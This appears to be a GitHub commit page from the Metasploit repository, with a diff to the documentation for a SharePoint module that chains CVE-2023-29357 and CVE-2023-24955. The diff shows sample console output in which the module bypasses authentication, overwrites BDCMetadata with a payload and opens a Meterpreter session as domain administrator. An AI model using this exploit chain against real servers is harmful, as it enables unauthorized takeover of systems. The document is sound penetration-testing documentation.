Skip to content

Commit

Permalink
Responded to comments
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Feb 6, 2024
1 parent aa30a00 commit 326b50b
Show file tree
Hide file tree
Showing 2 changed files with 185 additions and 206 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -76,16 +76,17 @@ msf6 exploit(windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce) >
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sharepoint version detected: 16.0.0.10337
[*] Discovered hostname is: sp1
[*] Discovered domain is: DOMAIN
[*] realm: 1a150b01-299a-48a9-afd4-379402fff4de, client_id: 00000003-0000-0ff1-ce00-000000000000
[*] Got Oauth Info: 1a150b01-299a-48a9-afd4-379402fff4de|00000003-0000-0ff1-ce00-000000000000
[*] Lob id is: KLNfH
[*] Lob id is: XafKHq
[*] Successfully impersonated Site Admin: 00000003-0000-0ff1-ce00-000000000000
[+] The target is vulnerable. Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.
[*] BDCMetadata existed, backing up original data
[*] BDCMetadata file already present on the remote host, backing it up.
[+] Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: /Users/jheysel/.msf4/loot/20240206152102_default_172.16.199.72_sharepoint.confi_163878.txt
[+] Payload has been successfully delivered
[*] Sending stage (200774 bytes) to 172.16.199.72
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.72:57806) at 2024-01-19 14:55:44 -0500
[+] BDCMetadata.bdcm has been successfully restored to it's original state.
[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.72:51458) at 2024-02-06 15:21:04 -0500
meterpreter > getuid
Server username: DOMAIN\Administrator
Expand All @@ -95,7 +96,7 @@ OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : DOMAIN
Logged On Users : 23
Logged On Users : 20
Meterpreter : x64/windows
meterpreter >
```
Loading

0 comments on commit 326b50b

Please sign in to comment.